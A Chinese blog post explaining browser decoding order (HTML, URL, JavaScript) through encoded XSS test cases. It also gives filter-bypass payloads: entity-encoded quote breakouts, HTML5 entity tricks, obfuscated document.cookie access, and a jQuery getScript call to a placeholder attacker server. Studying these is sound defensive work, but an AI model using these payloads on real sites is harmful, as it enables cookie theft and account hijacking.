从浏览器渲染与解码原理重新认识xss

前言

在家瘫了很多天了(夹杂着一些个人感情问题

花了很多时间,虽然没有学习,但是理清了一些东西吧,也算是另一种收获了。

我可能算是一个比较感性的人吧,过去,我觉得人活的过于理性实在是太累了,所以没必要那么理性的去生活,现在反而觉得理性的活着其实是更轻松的生活态度,毕竟有些感情上的事情真的让人很难过(我似乎每天都很难过,从高二开始,真想做一个完全理性化的人啊.jpg(正在努力转变的过程)(不说了,开始正题吧

浏览器的渲染原理

目前主要的两个渲染引擎为 webkit和Gecko

Geoko为Firefox使用,而Chrome和Safari主要使用是Webkit

Webkit渲染引擎流程如下:

img

渲染的五个步骤如下:

  1. 处理 HTML 标记并构建 DOM 树。
  2. 处理 CSS 标记并构建 CSSOM 树。
  3. 将 DOM 与 CSSOM 合并成一个渲染树。
  4. 根据渲染树来布局,以计算每个节点的几何信息。
  5. 将各个节点绘制到屏幕上。

CSSOM树与DOM树的构建

对于DOM树:浏览器接受HTML文档后,将遍历文档节点,生成DOM树。

对于CSSOM树:浏览器解析CSS文件生成CSS规则树,每个CSS文件被分析为包含着CSS规则的StyleSheet对象。

渲染阻塞

DOM树构建过程中会收到css和javascript的阻塞,

在构建过程中,如果遇见js脚本则会去执行,那么就会影响DOM树构建。

但是css文件的优先性是大于js的优先性的

在浏览器解析html的时候,会把新来的元素插入dom树种,并且同时查找css,把对应的样式规则应用到元素身上。

所以css和js的文件放置顺序一般为:css优先,js最后。

浏览器的解码

浏览器的解码规则

  • HTML解析器对HTML文档进行解析完成HTML解码并且创建DOM树
  • javascript 或者 CSS解析器对内联脚本进行解析,完成JS CSS解码
  • URL解码会根据URL所在的顺序不同而在JS解码前或者解码后

HTML解码器

html中五类元素如下:

  1. 空元素(Void elements),如<area>,<br>,<base>等等
  2. 原始文本元素(Raw text elements),有<script><style>
  3. RCDATA元素(RCDATA elements),有<textarea><title>
  4. 外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素
  5. 基本元素(Normal elements),即除了以上4种元素以外的元素

五类元素的特点:

  1. 空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。
  2. 原始文本元素,可以容纳文本。
  3. RCDATA元素,可以容纳文本和字符引用。
  4. 外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释
  5. 基本元素,可以容纳文本、字符引用、其他元素和注释

javascript解码器

javascript解码器有一个特点,就是无法试别编码后的控制字符,比如:单引号,双引号和圆括号,之后会用一些例子进行详细说明。

URL解码器

对url编码后的数据进行解码,需要注意的一点是,协议不能进行编码,否则URL解码器将无法试别。

下面是一些例子来更好的理解着三个编码器的作用

例子测试

1.

1
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>

URL encode “javascript:alert(1)”

此js代码无法执行,href属性内部为url编码的数据,所以URL解码器会进行处理,但是无法试别编码后的javascript协议,所以不会进行解码,也就无法执行。

在URL的规定,用户名,密码,协议都必须是ASCII。

2.

1
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

前面的HTML编码数据解码为javascript,后面的URL解码为alert(2)

此js可以执行

浏览器解码流程为,先丢给HTML解码器,解码后为

javascript+urlencode(data)

此时URL解码器可以试别协议名称,所以会进行URL解码

最后被执行js代码

3.

1
<a href="javascript%3aalert(3)"></a>

同一,URL解码器无法识别协议名称,无法解码,最终js无法被执行。

4.

1
<div>&#60;img src=x onerror=alert(4)&#62;</div>

这里的&#60;虽然会被解码为<,但是无法进入标签开始状态,因为这里的&#60;是相当于字符串的,并不是相当于真正的标签,所以alert并不会被执行。

5.

1
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

<textarea>是RCDATA元素,可以容纳文本和字符引用,也就是说textarea标签里的内容可以被html解码,但是textarea中无法容纳其他标签,js代码不会被执行。

6.

1
<textarea><script>alert(6)</script></textarea>

和刚才是一样的,textarea标签中无法容纳其他标签。

7.

1
<button onclick="confirm('7');">Button</button>

HTML实体解码将&#39;解码为’,并且前面为onclick属性,丢给js引擎处理,成功执行弹窗。

8.

1
<button onclick="confirm('8\u0027);">Button</button>

js中只有字符串和标识符可以用unicode来表示,所以js无法将unicode编码后的单引号解码,所以无法执行此js脚本

9.

1
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

script标签无法容纳字符引用,所以无法进行HTML解码,直接交给js来处理,无法执行此代码

10.

1
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

前五个字符js解码后为alert标识符,而js是可以解码标识符的,所以可以成功执行js

11.

1
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

有括号,无法试别控制字符,无法执行

12.

1
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

这个挺有趣的,\u0031\u0032被翻译为12,不过这个12是字符串类型的,并非数字类型的,需要引号,这里没有引号,无法执行。

13.

1
<script>alert('14\u000a')</script>

\u000a为换行字符,可以只执行

14.

1
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

第一步解码:

1
javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)

URL解码器可试别,交给URL解码器处理,第二步解码为

1
javascript:\u0061\u006c\u0065\u0072\u0074(15)

最后由js解码器解码,然后执行js

从上面的例子我们可以看出几个关键点:

1.js解码器只会对字符串和标识符进行js解码

2.RCDATA元素(textarea),可以容纳实体引用,也就是可以进行HTML解码操作,但其实子元素是无法执行的

3.URL解码需要进行协议识别后才能进行解码

4.原始文本元素中无法进行URL解码和HTML解码

实战例子

例一

这个例子选取了Wooyun中的一个例子

漏洞点:

1
<a href="javascript:location='./3.3.php?offset='+document.getElementById('pagenum').value+'&searchtype_yjbg=yjjg&searchvalue_yjbg='">GO</a>

我们输入的searchvalue_yjbg参数会随着这个a标签一起插入到页面源码中

首先页面是对单引号进行了过滤,我们无法执行输入单引号去进行闭合,但是我们可以输入进行HTML编码后的单引号

1
wooyun%26%23x27,alert(1)%2b%26%23x27

解析过程为:首先进行HTML解码,将这些HTML编码解析为对应的字符串,此时他并不会进行闭合,只有在执行js代码的时候,js引擎将这些字符串再一遍解析,而这个之前被当作字符串的单引号就起到了闭合的作用,最终执行了我们的自定义的js代码,像这样的例子还有一些,我们接着来举一些。

例二
1
<img src = "https://text.com" onclick = 'alert("输入点")'>

在过滤掉单引号的情况下我们可以通过实体编码的方式进行Bypass,解析的流程也和之前的一样,先进行HTML解码将我们的闭合双引号解析为字符串,再在js引擎处理这段js代码的过程中产生闭合注入

例三

这个是先知文章中的一个例子,感觉蛮经典的,拿来引用一下

1
<a onclick="window.open('value1')" href="javascript:window.open(value2)">

对于value1: 先进行HTML解码,由于onclick再进行js解码,最后由于window.open函数进行URL解码。

对于value2,先HTML解码,由于href属性进行一次URL解码,由于javascript协议,进行js解码,最后由于window.open再URL解码,所以在这个例子中一共进行了两次URL解码。

新增的HTML5实体编码带来的安全问题

1
2
&colon; 冒号
&NewLine; 换行

Bypass Payload:

1
<a href="javasc&NewLine;ript&colon;alert(1)">click</a>

HTML解码后,即可执行

浏览器的词法分析器

对于下面JS的执行成功

1
2
<a href="javasc
ript:alert(1)">click</a>

浏览器中的解析器中词法分析器起的作用会跳过空白跟换行之类的无效字符

onerror=的换行Bypass也是利用了这个词法分析器进行实现的

XSS的一些技巧

通过top,windows对象来Bypass某些关键词

详细的看这篇文章好了

https://www.anquanke.com/post/id/176185

JavaScript全局变量绕过XSS过滤器

举几个例子就可以懂了

1
2
3
4
5
6
alert(document.cookie)===

self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)

这里的self可以被如下代替:

• window

• self

• _self

• this

• top

• parent

• frames

jQuery的变异

1
2
3
4
self["$"]["globalEval"]("alert(1)");
//这里我也可以变异的很复杂
self["$"]["getScript"]("Your_vps");
//加载远程脚本

Object迭代

1
2
3
> Object.keys(self)[145]
< "alert"
> self[Object.keys(self)[145]]("foo") // alert("foo")

1bsdcF.png

首先通过迭代遍历出alert或者其他想要获得函数的位置

在平时我们在或者cookie的时候,一般用的是document.cooie,通过全局变量的bypass我们可以大大将或者cookie的语句复杂化进而Bypass掉某些规则

比如

1
self[Object.keys(self)[9]]["\x63\x6f\x6f\x6b\x69\x65"]

我再弄的复杂点

1
self[Object.keys(self)[9]][self[Object.keys(self)[171]]('Y29va2ll')]

这个索引号同样也可以复杂化

定义一个a函数,这个a函数代表的就是查找索引号的结果,如下:

1
2
3
4
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //找到索引

self[Object.keys(self)[a()]]("1")
//弹窗

参考资料

https://xz.aliyun.com/t/5863

https://xz.aliyun.com/t/5950#toc-13

http://drops.xmd5.com/static/drops/tips-689.html

https://blog.zeddyu.info/2019/03/13/Web%E5%AE%89%E5%85%A8%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B-XSS-I/#Encode

https://www.anquanke.com/post/id/176185#h3-7

https://zhuanlan.zhihu.com/p/75785844